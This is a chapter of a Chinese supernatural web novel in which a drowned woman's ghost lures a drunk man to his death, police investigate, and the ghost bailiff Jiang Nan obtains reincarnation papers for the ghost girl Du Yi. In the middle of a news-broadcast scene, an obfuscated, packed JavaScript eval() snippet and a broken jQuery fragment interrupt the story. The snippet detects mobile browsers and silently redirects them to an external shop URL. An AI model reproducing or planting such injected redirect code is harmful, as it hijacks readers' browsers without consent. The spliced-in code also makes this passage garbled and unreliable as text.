女人在冰柜里拿出一瓶矿泉水,放在收银台前。
值夜班的便利店员抬起疲惫的眼睛,顺势看来,才发现是一位紫色低龄紧身衣,潮湿的微卷黑发,脸色苍白如霜的漂亮女人。
“一块五。”
女人僵直地抬起手臂,放开攥紧的拳头,三枚金铜色五角硬币当啷啷地落在收银台上。
现在这个年头,用纸币的人都越来越少,何况是硬币,像五角面值的硬币,不知道多久没见过了。
便利店员奇怪地把硬币搂在一起,女人拿起矿泉水,走出便利店。
又一声欢送的铃声响起。
女人走到便利面街的玻璃窗前,停下,回头一眼。
里头的男人顿住喝啤酒的动作,擦了擦嘴。
女人对他笑了一下,颇为艳/情。
男人也笑。
都市男女,迅速明白对方的意思。
男人喝完易拉罐中最后一口啤酒,跳下高脚椅,抓起旁边的西装外套追出便利店。
左右不见刚才那个用眼神勾引他的女人的身影,男人以为是自己喝太多酒喝昏头,正要转身离去,暗处走出一个窈窕的黑影。
“你在找我?”
女人走到亮处,紫色上衣勾勒出她令人血脉喷张的线条,下面穿一条黑色包臀裙,湿发披肩。
男人被女人的好身材和艳丽风情迷住眼睛,忽略她身上冰凉潮湿的气息。
女人轻轻一笑,上前勾起男人的手指。
“你跟我来。”
“去哪里?”
女人在男人耳边说:“去快活,你去不去?”
男人哪有不肯的道理。
女人带男人走过几条街道,凌晨了无人迹的大街,增长酒醉男人的胆量,缠住女人要亲要摸要抱,女人一边笑着迎合他,一边说:“再等等,马上到了。”
酒精作用喝美/色/诱/惑下,男人不辨东西,只模糊感觉到在女人的带领下,他到了不熟悉的地方。
“到了。”女人说。
“这是哪里?”
女人指前面,说:“我们进去。”
男人眼中,那是一栋灯火璀璨,豪华雄伟的大酒店,正和他的心意,拉住女人往里面跑。
女人咯咯咯的笑声充斥在耳边。
……
月前一起失踪案没有头绪,负责案子的分局警察老田想从蛛丝马迹中找到切入点,喊上小梁到受害人最后出现的地方——便利店。
便利店里,老田问:“还有什么?”
“还有……”便利店店员想了一会儿,摇头,“那天晚上顾客很少,能记起来的我都说得差不多了。再有……男的离开没多久吧,我想趁没人来,准备去上架补货了,走到收银台前,也不知道什么时候那里弄了好大一滩水,可我检查过,没发现哪里漏水,再说什么地方漏水,也不可能流到收银台门口啊,还只是那个位置有。”
这倒是个新发现,老田让小梁记下来。
便利店店员灵光一闪,啊呀一声。
老田说:“又想起什么了吗?”
“我第二天交班之前,清点收银机里的数目,发现了三颗小石子。”
老田、小梁闻言面面相觑。
“我分明记得那个晚上我只打开过收银机一次,放那个女人买水的三枚五角硬币,但硬币没有,只有石头。店里有规定,像这样的事情只能自己贴钱,幸好只是一块五,不是什么大损失,但我怎么就把石头当成硬币了呢?”
便利店店员说:“警察同志,我是不是碰上什么新型诈骗术了?”
小梁也觉得奇怪,说:“石子还在吗?拿出给我们看看。”
店员让他们稍等。
离开便利店,坐上马路边停放的警车。
小梁开车,问:“怎么样,看出什么名堂了吗?”
老田把透明塑料袋里三颗拇指大,带青苔的石头仔细端详,摇头。
“拿回去让鉴定科的人看看能不能从上面找到点什么东西。”
“也只能这样了。”
老田手机响,接起。
“找到了?”
小梁问:“什么找到了?”
“钱铭。”
失踪案的受害人。
“哪里找到的?嗯……我们马上回去。”
挂断电话,老田说:“尸体找到了,但是媒体先我们一步,现在家属正在警察局闹,局里让我们回去把材料整理一下,准备向外界公布案情,平息舆论。”
小梁最恨媒体,插手插脚,妨碍他们的工作。
“在哪里找到的尸体?”
老田摩挲手里的石子,说:“明阳湖。”
警车驶过闹市街区,停在路口等红灯时,老田从副驾驶的车窗往外看,一家广式茶餐厅里坐着两个年轻男人。
一个白衣乱发,一个黑衣马尾。
白衣服顶一头乱发的男人朝外望来,和老田的视线撞上,又冷漠地移开。
茶餐厅里。
李春红在桌上摆上一大一小两张纸。
大的一张,是江南申请杜依在阴司的关系转到他手下,上面批准的回复书,小的一张,是杜依的投胎证。
投胎证灰白色的两寸免冠照,把在江南看来杜依的一张傻脸放得比平时大,照片上的杜依露出半截校服,留着齐刘海。
李春红笑嘻嘻地说:“我对你的小朋友好吧,别的鬼的投胎证上的照片丑成什么样了,我专门给她换的照片。”
投胎证上还会写明死亡日期和死因,杜依的死亡日期是江南遇到她的三天前,死因是:煤气中毒。
江南皱眉:“煤气中毒?意外还是自杀?”
李春红摇摇头:“谁知道,生死簿又不给我们鬼差看。”
李春红的指尖抵在玻璃上,指马路对面那个撑黑伞的背影,说:“你想知道,你可以自己问她啊。”
江南把回复书和投胎证收紧裤兜里,投胎证不过巴掌大一张纸,可是阴司的回复书也被江南皱巴皱巴不管三七二十一塞进去。
李春红想,幸好江南的裤兜是个百宝袋,有无限空间,不然按照江南什么都往里放的习惯,早晚要涨破口袋。
江南问李春红有没有找到原先负责杜依的鬼差。
“我本来想直接同级转让,省去写申请这个麻烦,但是问过本地几个鬼差,都说名单上没有杜依的名字。”
“你也回阴司查过?”
“没。”江南干脆回答。
李春红翻白眼:“你是懒吧,下去一趟再上来,一晚上的事情,花得了多少精力?”
李春红深深吸一口奶茶的香,说:“我去阴司查过,她家正好是两城交界,按照阳间的区域划分,杜依确实是本城人,但你也知道,阴司划分各城的规则三百年没有改动,按照阴司规矩,杜依死后归隔壁城市同僚管。你在这里当然找不到。”
端上一盘刚出炉的蛋挞,李春红笑着对服务员说:“谢谢。”
李春红边闻边不忘唠嗑:“怎么不请小朋友进来吃点东西?”
江南示意墙上和门口。
茶餐厅绿墙上供奉红光满面的关帝,两扇玻璃推门贴的是神荼和郁垒两个驱魔辟邪的门神。
江南进来时,门神画像上的神荼郁垒眼睛不停在他身上打转,觉出他不是一般的鬼怪,是阴司行走人间的鬼差,才粗哼一声放行,关帝爷见两大门神没有拦他,自然也不会多管。
杜依则不然,她无缘见关二爷,神荼和郁垒连这条路都不让她多待,她只好到对面的等着。
李春红笑:“我倒是忘了这些规矩。”
茶餐厅墙角上的小电视开始放午间新闻,江南起身,说:“我走了。”
李春红的眼睛在电视上,没管江南,模糊地应一声,表示爱走不走,自言自语道:“啊,又一个替死鬼啊。”
杜依站在一家电器行前面,黑色大伞让路过她的人都自动绕行。
橱窗里是成排的电视,统一播放同一个画面。
电视里,下方蓝色的字幕框上写着:失踪案告破,疑酒后坠湖身亡。
粉衣女主播五官端庄的脸旁边,小框内的照片由一片平静的湖泊,换成一个陌生男子的正面照,看上去不到三十岁的样子。
女主播字正腔圆。
“失踪男子名叫钱铭,今年二十八岁,就职于本城某著名民营企业,案发当晚,与公司同事在某路某酒吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748426|209378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
聚会后,独自步行回家,途中,钱铭在一家某二十四小时营业便利店内购买啤酒……”
“由于便利店的闭路电视出现故障,警方并没有查到钱铭在便利店里逗留的视频记录……”
“根据警方对附近各路段监控的排查,钱铭最后出现在监控摄像头内,是在某某路,时间为案发第二日凌晨三点,之后钱铭消失在摄像头中,不知去向……”
“直到今日六点,有晨练的居民在明阳湖中发现一具漂浮的尸体,经检验,确认是失踪的钱铭……”
“目前,钱铭的尸体已经打捞上岸,钱铭的家属也已经得知其遇难的消息……”
“案件的其他详细进展,警方还在进一步侦查中,我们会持续关注,争取第一时间为您报道该案件的最新消息。”
“下一则新闻……”
伞面敲响两下,杜依抬起伞,是江南。
杜依指橱窗后的电视:“你看。”
“嗯……”
杜依不确定江南是不是和自己感觉到了同样的东西。
她问江南:“我们下一步,去哪?这儿?”杜依点在玻璃上,珰珰两声。
江南点头:“晚上再去,现在去什么都找不到。”
江南忽然说:“接着。”
“什么?”
杜依来不及反应,江南扔出一个不明物体,她慌忙慌张地抓住,翻开一看,是投胎证。
杜依眼睛都亮了。
“江懒虫,你终于肯帮我□□啦。”
江南听到这个绰号不太喜欢,但是经过这段时间杜依帮他捉完食粪鬼后,又捉了吃了马上吐的食吐鬼、专吃人的唾液的食唾鬼和吃屁的伺便鬼等等一系列,江南以前嫌脏不愿意抓的鬼魂后,杜依对江南的敬畏早就消失殆尽。
江南都想不起杜依上一次喊他“鬼差大哥”是什么时候了。
江南说:“揣好,丢了不给你补。”
杜依笑,小心翼翼地把投胎证放进上衣的小夹层里,说:“知道知道。”
江南一根指头勾住塑料袋,放在杜依面前:“诺,给你打包的。”
杜依哇一声,难为江南还能记得她。
杜依把伞柄夹在怀里,打开饭盒,里面是猪扒菠萝包。
杜依自己享受美食还不忘问江南:“你吃了吗?”
江南提起另一只手里的塑料袋,里面也有一个饭盒,说:“打包了这个。”
“你的是什么?”
江南挑眉:“叉烧肠粉。”
江南扯一扯杜依的伞,说:“怎么样,好不好用?”
黑伞是某天杜依捉完鬼后,江南给她的。
杜依虽然有符咒在身,有了人的外壳,但到底还是极阴的鬼体,这把黑伞可以帮她白日里行走人类世界,隔绝阳光和阳气,她躲在伞下,还可以聚魂定气。
“江南,我什么时候能不打伞啊?”
江南告诉杜依,等她的魂魄稳定到一定的程度,是可以像真正的人一样,自在沐浴在阳光下,和人接触的。
江南想了想说:“等你修为足够的那天吧。”
杜依苦着小脸:“我又不成仙成神的,哪里来的修为?”
江南笑,杜依还不知道,自己帮鬼差做事是积多大的福报,这些福报,能帮她下辈子投一个多好的胎。
江南盖上自己的饭盒,杜依见他把自己的那份闻过没动过的叉烧肠粉放在一个乞丐的面前,乞丐搓手感谢他。
杜依捧着自己的猪扒菠萝包,赶快香完最后一口,也随江南,就放在江南的叉烧肠粉旁边。
江南笑着看她。
杜依回身,说:“走吧。”
“嗯。”
朗朗乾坤之下,人潮涌动的闹市街道上,一个少女撑一把硕大的黑伞,和一个英俊修长的男人并肩而行。
男人要少女给他打伞,路人听到少女说:“你打什么伞,你又不怕阳光。”
男人懒洋洋的声音,说:“我是不怕光,不是不厌光,好歹是我的伞,分我一点怎么了?”
少女跳脚:“啊,江南,我肩膀露在外面了,你还我伞。”
过路人听到此对话纷纷望天,明明没有什么太阳,抢什么伞呢?